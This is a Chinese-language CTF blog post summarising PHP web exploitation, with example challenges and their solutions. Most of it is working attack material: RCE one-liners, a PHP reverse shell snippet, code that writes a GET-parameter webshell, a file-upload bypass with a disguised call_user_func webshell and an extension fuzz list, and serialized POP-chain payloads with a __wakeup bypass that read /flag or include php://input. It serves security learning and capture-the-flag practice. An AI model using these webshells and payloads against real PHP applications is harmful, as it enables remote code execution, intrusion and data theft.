web入门小结-php

发布于 2024-07-27  148 次阅读


常见利用点:RCE,任意文件include,任意文件读,任意php代码执行

PHP中的RCE

eval(str):将字符串str当作php代码执行(一句话木马)

<?php eval("system('whoami');");?>

system(str):将str作为系统命令执行,输出结果

<?php system("whoami");?>

passthru(str):基本同system,

<?php passthru("whoami");?>

exec(str):将str作为系统命令执行,返回结果(无回显)

<?php echo exec("whoami");?>

shell_exec(str):同exec,出现错误会返回null

<?php echo shell_exec("whoami");?>

assert(str):断言检查,在rce时效果同eval

<?php assert("system('whoami');");?>

popen(cmd,mode):可以读取和写入由cmd使用的进程管道

<?php
// 打开一个到 "whoami" 命令的管道
$handle = popen('/bin/whoami', 'r');

if ($handle) {
    // 读取命令的输出
    while (!feof($handle)) {;
        echo fgets($handle);
    }
    // 关闭管道
    pclose($handle);
} else {
    echo "error";
}
?>

call_user_func(func,param):执行一个回调函数,func为回调函数名,param为参数

<?php call_user_func("system","whoami"); ?>

call_user_func_array(func,params[]):执行一个多(单也行)参数回调函数,func为回调函数名,params[]为参数数组

<?php call_user_func_array("system",["whoami"]); ?>

array_map(func,arr[]):对arr数组的每个元素作为参数使用回调函数func,并返回执行func后的结果

<?php array_map("system",["whoami"]); ?>

/e模式的preg_replace(pat,replacement,):若匹配成功,会把用于正则替换的字符串当作php执行

<?php preg_replace("/ABC/e", "system('whoami')", "ABC");?>

php反弹shell:

<?php 
$sock=fsockopen("ip",port);
exec("/bin/sh -i <&3 >&3 2>&3");
?>

PHP的任意文件读、任意文件写

读文件:

<?php echo file_get_contents("/flag")?>
<?php highlight_file("flag.txt");?>
<?php show_source("/flag")?>
<?php include("/flag")?>
<?php 
$file = fopen("flag.txt","r"); 
echo fread($file,1000);
fclose($file);
?>

写文件:

<?php file_put_contents("evil.php","<?php system(\$_GET['a'])?>") ?>
<?php
$file = fopen("evil.php","a+"); 
fwrite($file,"<?php system(\$_GET['a'])?>");
fclose($file);
?>

例题一 : php-weak

<?php
highlight_file(__FILE__);

$a=$_GET['a'];
$b=$_GET['b'];
if($a!=$b&&md5($a)==md5($b)){
    echo file_get_contents("/flag");
}else{
    die("try again");
}

解题需要利用php弱类型的宽松比较(两个等号)
当字符串都为0e开头时进行弱类型比较时,php将其作为整数处理,使用科学计数法,得到的值都为0
因此可以找两个md5均为0e开头的字符串作为a,b传入。

0e开头的md5和原值:
QNKCDZO
0e830400451993494058024219903391
240610708
0e462097431906509019562988736854
s878926199a
0e545993274517709034328855841020
s155964671a
0e342768416822451524974117254469
s214587387a
0e848240448830537924465865611904
s214587387a
0e848240448830537924465865611904

payload:?a=QNKCDZO&b=240610708

例题二 :php-arr

<?php
highlight_file(__FILE__);

$a=$_GET['a'];
$b=$_GET['b'];
if($a!=$b&&md5($a)===md5($b)){
    echo file_get_contents("/flag");
}else{
    die("try again");
}

由于使用了强类型比较(“===”),无法弱类型绕过
此时可以使用数组绕过。当md5()获得的参数为数组时,无法编码,都返回null
payload:?a[]=1&&b[]=2

例题三 : include

<?php 
highlight_file(__FILE__);
include($_REQUEST['a']);
#flag.php
?>

利用php伪协议,读flag.php的base64编码
?a=php://filter/read=convert.base64-encode/resource=flag.php
php://filter php的流封装协议,可以通过过滤器对流进行处理
read=convert.base64-encode 对读取的流进行处理,方法为base64编码
resource=flag.php处理对象为flag.php

读取flag.php的base64编码
image_mak解码发现仅有前半部分的flag
image_mak
可以直接include /flag文件(不是php不会解析)
image_mak

例题四 : upload

php的上传题目一般目的都是上传一句话木马,来rce

题目对mime类型,文件头,文件后缀名和一些危险内容进行了检查。
1.危险函数eval exec assert system绕过:使用其他函数(如call_user_func)来rce
2.文件头绕过:在文件头部添加GIF89a,服务器会判断为gif图片
3.后缀名绕过:只ban了php,使用phtml也可解析(部分服务器配置不同,视情况而定,可尝试的后缀:

php php2 php3 php4 php5 pHp pHp2 pHp3 pHp4 pHp5 html htm phtml pht Html Htm pHtml asp aspx asa asax ashx asmx cer aSp aSpx aSa aSax aScx aShx aSmx cEr jsp jspa jsp jsw jxv jspf jtml JSp jSpx jSpa jSw jSv jSpf

可以作为字典进行fuzz。)
固构造恶意文件evil.phtml为:

GIF89a
<?php call_user_func($_REQUEST['a'],$_REQUEST['b']); ?>

4.mime类型绕过:截取上传请求,修改文件部分的Content-Type为image/jpeg即可欺骗。
image_makimage_mak访问/uploads/evil.phtml成功getshell
image_mak

例题五 : php-unserialize

介绍:php的序列化和反序列化

序列化:将对象变为一个描述性的字符串,便于在不同环境中传输
例子:

<?php

class A{
    public $a="abc";
    public $b=123;
}

class B{
    public $c="hello";
    public $x;
}

$a=new a();
$b=new B();
$b->x=$a;
echo serialize($b);

输出为B的实例的序列化数据:

O:1:"B":2:{s:1:"c";s:5:"hello";s:1:"x";O:1:"A":2:{s:1:"a";s:3:"abc";s:1:"b";i:123;}}

反序列化可以将序列化的数据还原,成为php代码的一部分。
反序列化漏洞的利用:一些类有定义魔术方法,这些魔术方法会在程序进行一些行为的时候自动触发。

__wakeup:对象反序列化时自动触发
__construct:对象被创建时自动触发
__destruct:对象销毁时自动触发
__toString:对象作为字符串调用时自动触发
__invoke:对象作为函数被使用时自动触发
__get:对象调用不存在的属性时自动触发

题目:

<?php 
    highlight_file(__FILE__);

    class welcome{
        public $come;
        public function __wakeup(){
            $this->come=new hi();
        }

        public function __destruct(){
            $this->come->hello();
        }

    }
    class hi{
        private $st="echo welcome!";
        public function hello(){
            system($this->st);
        }
    }

    unserialize($_GET['a']);
    ?>

思路:创建welcome实例,come设为hi实例的引用,其中将hi实例的st设为要执行的命令。这样在反序列化此welcome的destruct方法会触发,调用hi实例的hello方法,执行自定义命令。

生成payload脚本:

<?php

class welcome{

    public $come;

}
class hi{
    private $st="cat /flag"; 
}

$w=new welcome();
$h=new hi();
$w->come=$h;
echo urlencode(serialize($w));
?>
O%3A7%3A%22welcome%22%3A1%3A%7Bs%3A4%3A%22come%22%3BO%3A2%3A%22hi%22%3A1%3A%7Bs%3A6%3A%22%00hi%00st%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

注意点:
1、本题hi类的$st是private属性,生成序列化数据时会有0x00的不可见字符,因此必须生成url编码的序列化数据进行传输,才能被正常反序列化。

2、welcome类中的__wakeup魔术方法会比__destruct先触发,在__wakeup方法中会将come属性重新设置为一个新的hi实例,这样就无法执行自定义的命令,而是执行原来的echo welcome!。因此需要一个绕过__wakeup方法使其不触发的trick:

如果将序列化生成的数据,含__wakeup方法的对象的属性个数修改成不正确的个数,那么就会解析错误,从而不触发__wakeup方法。

在这道题中:
image_mak通过url解码payload可以找到welcome类的属性个数“1”的位置。改为2即可

最终payload:

?a=O%3A7%3A%22welcome%22%3A2%3A%7Bs%3A4%3A%22come%22%3BO%3A2%3A%22hi%22%3A1%3A%7Bs%3A6%3A%22%00hi%00st%22%3Bs%3A9%3A%22cat+%2Fflag%22%3B%7D%7D

image_mak

练习:phpweb

<?php
    highlight_file(__FILE__);

    $disable_func = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents","file_get_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_func)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

题目传入两个参数到call_user_func执行,其中能rce的函数被ban完
可以传入fun为unserialize利用test类进行反序列化,在test类中没有过滤即可执行gettime函数。
生成payload脚本:

<?php
    class Test {
        var $p = "cat /flag";
        var $func = "system";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }

$a=new Test();
echo serialize($a);?>

练习:phppop

一条简单的反序列化链


<?php
highlight_file(__FILE__);

class artifact{
    public $excalibuer;
    public $arrow;
    public function __toString(){
        echo "为Saber选择了对的武器!<br>";
        return $this->excalibuer->arrow;
}
}

class prepare{
    public $release;
    public function __get($key){
    $functioin = $this->release;
        echo "蓄力!咖喱棒!!<br>";
        return $functioin();
}
}

class saber{
    public $weapon;
    public function __invoke(){
        echo "胜利!<br>";
        include($this->weapon);
}
}

class summon{
    public $Saber;
    public $Rider;
    public function __wakeup(){
        echo "开始召唤从者!<br>";
        echo $this->Saber;
}
}

if(isset($_GET['payload'])){
    unserialize($_GET['payload']);
}
?>

pop链思路:
1.起点在summon类的__wakeup方法中
2.将summon类实例的saber属性设为artifact实例,利用__wakeup方法中的echo触发artifact的__toString方法
3.将artifact的excalibuer属性设为prepare类,这会调用prepare类不存在的arrow方法,触发__get方法
4.将prepare类实例的release设置为saber类,以函数方式调用saber类,会触发__invoke方法
5.设置saber类的weapon,即可实现任意文件包含

exp:

<?php
highlight_file(__FILE__);

class artifact{
    public $excalibuer;
    public $arrow;

}

class prepare{
    public $release;
}

class saber{
    public $weapon="php://input";
}

class summon{
    public $Saber;
    public $Rider;
}

$su=new summon();
$sa=new saber();
$pr=new prepare();
$ar=new artifact();

$pr->release=$sa;
$ar->excalibuer=$pr;
$su->Saber=$ar;

echo serialize($su);
A web ctfer from 0RAYS
最后更新于 2024-08-26